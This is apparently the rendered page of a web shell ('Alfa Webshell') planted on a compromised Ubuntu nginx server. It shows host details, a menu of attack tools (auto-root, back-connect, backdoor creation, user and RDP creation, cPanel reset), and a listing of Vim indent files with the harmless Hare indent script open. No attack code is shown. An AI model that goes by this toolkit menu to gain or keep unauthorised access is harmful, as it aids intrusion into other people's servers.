Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
vim /
vim91 /
indent /
[ HOME SHELL ]
Name
Size
Permission
Action
aap.vim
331
B
-rw-r--r--
ada.vim
11.06
KB
-rw-r--r--
ant.vim
290
B
-rw-r--r--
automake.vim
243
B
-rw-r--r--
awk.vim
7.68
KB
-rw-r--r--
bash.vim
390
B
-rw-r--r--
basic.vim
250
B
-rw-r--r--
bib.vim
346
B
-rw-r--r--
bitbake.vim
583
B
-rw-r--r--
bst.vim
1.86
KB
-rw-r--r--
bzl.vim
2.86
KB
-rw-r--r--
c.vim
391
B
-rw-r--r--
cdl.vim
4.26
KB
-rw-r--r--
ch.vim
556
B
-rw-r--r--
chaiscript.vim
1.18
KB
-rw-r--r--
changelog.vim
264
B
-rw-r--r--
chatito.vim
731
B
-rw-r--r--
clojure.vim
11.29
KB
-rw-r--r--
cmake.vim
2.98
KB
-rw-r--r--
cobol.vim
8.63
KB
-rw-r--r--
config.vim
2.17
KB
-rw-r--r--
context.vim
1.67
KB
-rw-r--r--
cpp.vim
395
B
-rw-r--r--
cs.vim
1.88
KB
-rw-r--r--
css.vim
1.77
KB
-rw-r--r--
cucumber.vim
2.74
KB
-rw-r--r--
cuda.vim
371
B
-rw-r--r--
d.vim
605
B
-rw-r--r--
dictconf.vim
411
B
-rw-r--r--
dictdconf.vim
414
B
-rw-r--r--
docbk.vim
336
B
-rw-r--r--
dosbatch.vim
1.35
KB
-rw-r--r--
dtd.vim
11.79
KB
-rw-r--r--
dtrace.vim
451
B
-rw-r--r--
dts.vim
1.69
KB
-rw-r--r--
dune.vim
430
B
-rw-r--r--
dylan.vim
2.75
KB
-rw-r--r--
eiffel.vim
3.24
KB
-rw-r--r--
elm.vim
3.2
KB
-rw-r--r--
erlang.vim
50.74
KB
-rw-r--r--
eruby.vim
2.95
KB
-rw-r--r--
eterm.vim
743
B
-rw-r--r--
expect.vim
207
B
-rw-r--r--
falcon.vim
13.84
KB
-rw-r--r--
fennel.vim
273
B
-rw-r--r--
fish.vim
2.66
KB
-rw-r--r--
fortran.vim
7.72
KB
-rw-r--r--
framescript.vim
891
B
-rw-r--r--
freebasic.vim
237
B
-rw-r--r--
gdscript.vim
4.26
KB
-rw-r--r--
gitconfig.vim
841
B
-rw-r--r--
gitolite.vim
1.29
KB
-rw-r--r--
go.vim
1.73
KB
-rw-r--r--
gyp.vim
169
B
-rw-r--r--
haml.vim
2.19
KB
-rw-r--r--
hamster.vim
1.65
KB
-rw-r--r--
hare.vim
4.38
KB
-rw-r--r--
hog.vim
1.85
KB
-rw-r--r--
html.vim
33.12
KB
-rw-r--r--
htmldjango.vim
273
B
-rw-r--r--
idlang.vim
1.68
KB
-rw-r--r--
ishd.vim
1.83
KB
-rw-r--r--
j.vim
1.77
KB
-rw-r--r--
java.vim
4.19
KB
-rw-r--r--
javascript.vim
15.13
KB
-rw-r--r--
javascriptreact.vim
109
B
-rw-r--r--
json.vim
4.54
KB
-rw-r--r--
jsonc.vim
4.74
KB
-rw-r--r--
jsp.vim
462
B
-rw-r--r--
julia.vim
15.29
KB
-rw-r--r--
kotlin.vim
1.53
KB
-rw-r--r--
krl.vim
4.25
KB
-rw-r--r--
ld.vim
1.82
KB
-rw-r--r--
less.vim
243
B
-rw-r--r--
lifelines.vim
638
B
-rw-r--r--
liquid.vim
2.03
KB
-rw-r--r--
lisp.vim
349
B
-rw-r--r--
livebook.vim
206
B
-rw-r--r--
logtalk.vim
1.91
KB
-rw-r--r--
lua.vim
2.22
KB
-rw-r--r--
luau.vim
252
B
-rw-r--r--
mail.vim
385
B
-rw-r--r--
make.vim
3.48
KB
-rw-r--r--
matlab.vim
4.81
KB
-rw-r--r--
meson.vim
5.19
KB
-rw-r--r--
mf.vim
164
B
-rw-r--r--
mma.vim
2.31
KB
-rw-r--r--
mp.vim
9.72
KB
-rw-r--r--
nginx.vim
1.7
KB
-rw-r--r--
nsis.vim
3.23
KB
-rw-r--r--
objc.vim
1.65
KB
-rw-r--r--
obse.vim
1.4
KB
-rw-r--r--
ocaml.vim
9.09
KB
-rw-r--r--
occam.vim
4.63
KB
-rw-r--r--
pascal.vim
5.66
KB
-rw-r--r--
perl.vim
5.91
KB
-rw-r--r--
php.vim
25.76
KB
-rw-r--r--
postscr.vim
1.64
KB
-rw-r--r--
pov.vim
2.71
KB
-rw-r--r--
prolog.vim
1.91
KB
-rw-r--r--
ps1.vim
410
B
-rw-r--r--
pyrex.vim
326
B
-rw-r--r--
python.vim
886
B
-rw-r--r--
qb64.vim
232
B
-rw-r--r--
qml.vim
1.27
KB
-rw-r--r--
quarto.vim
23
B
-rw-r--r--
r.vim
13.96
KB
-rw-r--r--
racket.vim
2.87
KB
-rw-r--r--
raku.vim
3.45
KB
-rw-r--r--
raml.vim
285
B
-rw-r--r--
rapid.vim
7.97
KB
-rw-r--r--
readline.vim
786
B
-rw-r--r--
rhelp.vim
2.83
KB
-rw-r--r--
rmd.vim
2.25
KB
-rw-r--r--
rnoweb.vim
1.1
KB
-rw-r--r--
rpl.vim
1.82
KB
-rw-r--r--
rrst.vim
1.19
KB
-rw-r--r--
rst.vim
1.9
KB
-rw-r--r--
ruby.vim
30.33
KB
-rw-r--r--
rust.vim
10.26
KB
-rw-r--r--
sas.vim
5.18
KB
-rw-r--r--
sass.vim
926
B
-rw-r--r--
scala.vim
19.3
KB
-rw-r--r--
scheme.vim
372
B
-rw-r--r--
scss.vim
191
B
-rw-r--r--
sdl.vim
2.76
KB
-rw-r--r--
sh.vim
9.04
KB
-rw-r--r--
sml.vim
6.42
KB
-rw-r--r--
solidity.vim
12.61
KB
-rw-r--r--
sql.vim
1.18
KB
-rw-r--r--
sqlanywhere.vim
12.96
KB
-rw-r--r--
sshconfig.vim
796
B
-rw-r--r--
systemverilog.vim
10.55
KB
-rw-r--r--
tcl.vim
2.48
KB
-rw-r--r--
tcsh.vim
1.35
KB
-rw-r--r--
teraterm.vim
1.38
KB
-rw-r--r--
tex.vim
13.52
KB
-rw-r--r--
tf.vim
1.57
KB
-rw-r--r--
tilde.vim
1.11
KB
-rw-r--r--
treetop.vim
785
B
-rw-r--r--
typescript.vim
14.28
KB
-rw-r--r--
typescriptreact.vim
109
B
-rw-r--r--
vb.vim
4.69
KB
-rw-r--r--
verilog.vim
8.08
KB
-rw-r--r--
vhdl.vim
14.43
KB
-rw-r--r--
vim.vim
675
B
-rw-r--r--
vroom.vim
379
B
-rw-r--r--
vue.vim
385
B
-rw-r--r--
wat.vim
458
B
-rw-r--r--
xf86conf.vim
786
B
-rw-r--r--
xhtml.vim
325
B
-rw-r--r--
xinetd.vim
1.28
KB
-rw-r--r--
xml.vim
7.6
KB
-rw-r--r--
xsd.vim
253
B
-rw-r--r--
xslt.vim
297
B
-rw-r--r--
yacc.vim
858
B
-rw-r--r--
yaml.vim
5.45
KB
-rw-r--r--
zig.vim
2.09
KB
-rw-r--r--
zimbu.vim
3.92
KB
-rw-r--r--
zsh.vim
411
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : hare.vim
" Vim indent file " Language: Hare " Maintainer: Amelia Clarke <me@rsaihe.dev> " Last Change: 2022 Sep 22 " 2023 Aug 28 by Vim Project (undo_indent) if exists("b:did_indent") finish endif let b:did_indent = 1 if !has("cindent") || !has("eval") finish endif setlocal cindent " L0 -> don't deindent labels " (s -> use one indent after a trailing ( " m1 -> if ) starts a line, indent it the same as its matching ( " ks -> add an extra indent to extra lines in an if expression or for expression " j1 -> indent code inside {} one level when in parentheses " J1 -> see j1 " *0 -> don't search for unclosed block comments " #1 -> don't deindent lines that begin with # setlocal cinoptions=L0,(s,m1,ks,j1,J1,*0,#1 " Controls which keys reindent the current line. " 0{ -> { at beginning of line " 0} -> } at beginning of line " 0) -> ) at beginning of line " 0] -> ] at beginning of line " !^F -> <C-f> (not inserted) " o -> <CR> or `o` command " O -> `O` command " e -> else " 0=case -> case setlocal indentkeys=0{,0},0),0],!^F,o,O,e,0=case setlocal cinwords=if,else,for,switch,match setlocal indentexpr=GetHareIndent() let b:undo_indent = "setl cin< cino< cinw< inde< indk<" function! FloorCindent(lnum) return cindent(a:lnum) / shiftwidth() * shiftwidth() endfunction function! GetHareIndent() let line = getline(v:lnum) let prevlnum = prevnonblank(v:lnum - 1) let prevline = getline(prevlnum) let prevprevline = getline(prevnonblank(prevlnum - 1)) " This is all very hacky and imperfect, but it's tough to do much better when " working with regex-based indenting rules. " If the previous line ended with =, indent by one shiftwidth. if prevline =~# '\v\=\s*(//.*)?$' return indent(prevlnum) + shiftwidth() endif " If the previous line ended in a semicolon and the line before that ended " with =, deindent by one shiftwidth. if prevline =~# '\v;\s*(//.*)?$' && prevprevline =~# '\v\=\s*(//.*)?$' return indent(prevlnum) - shiftwidth() endif " TODO: The following edge-case is still indented incorrectly: " case => " if (foo) { " bar; " }; " | // cursor is incorrectly deindented by one shiftwidth. " " This only happens if the {} block is the first statement in the case body. " If `case` is typed, the case will also be incorrectly deindented by one " shiftwidth. Are you having fun yet? " Deindent cases. if line =~# '\v^\s*case' " If the previous line was also a case, don't do any special indenting. if prevline =~# '\v^\s*case' return indent(prevlnum) end " If the previous line was a multiline case, deindent by one shiftwidth. if prevline =~# '\v\=\>\s*(//.*)?$' return indent(prevlnum) - shiftwidth() endif " If the previous line started a block, deindent by one shiftwidth. " This handles the first case in a switch/match block. if prevline =~# '\v\{\s*(//.*)?$' return FloorCindent(v:lnum) - shiftwidth() end " If the previous line ended in a semicolon and the line before that wasn't " a case, deindent by one shiftwidth. if prevline =~# '\v;\s*(//.*)?$' && prevprevline !~# '\v\=\>\s*(//.*)?$' return FloorCindent(v:lnum) - shiftwidth() end let l:indent = FloorCindent(v:lnum) " If a normal cindent would indent the same amount as the previous line, " deindent by one shiftwidth. This fixes some issues with `case let` blocks. if l:indent == indent(prevlnum) return l:indent - shiftwidth() endif " Otherwise, do a normal cindent. return l:indent endif " Don't indent an extra shiftwidth for cases which span multiple lines. if prevline =~# '\v\=\>\s*(//.*)?$' && prevline !~# '\v^\s*case\W' return indent(prevlnum) endif " Indent the body of a case. " If the previous line ended in a semicolon and the line before that was a " case, don't do any special indenting. if prevline =~# '\v;\s*(//.*)?$' && prevprevline =~# '\v\=\>\s*(//.*)?$' && line !~# '\v^\s*}' return indent(prevlnum) endif let l:indent = FloorCindent(v:lnum) " If the previous line was a case and a normal cindent wouldn't indent, indent " an extra shiftwidth. if prevline =~# '\v\=\>\s*(//.*)?$' && l:indent == indent(prevlnum) return l:indent + shiftwidth() endif " If everything above is false, do a normal cindent. return l:indent endfunction " vim: tabstop=2 shiftwidth=2 expandtab
Close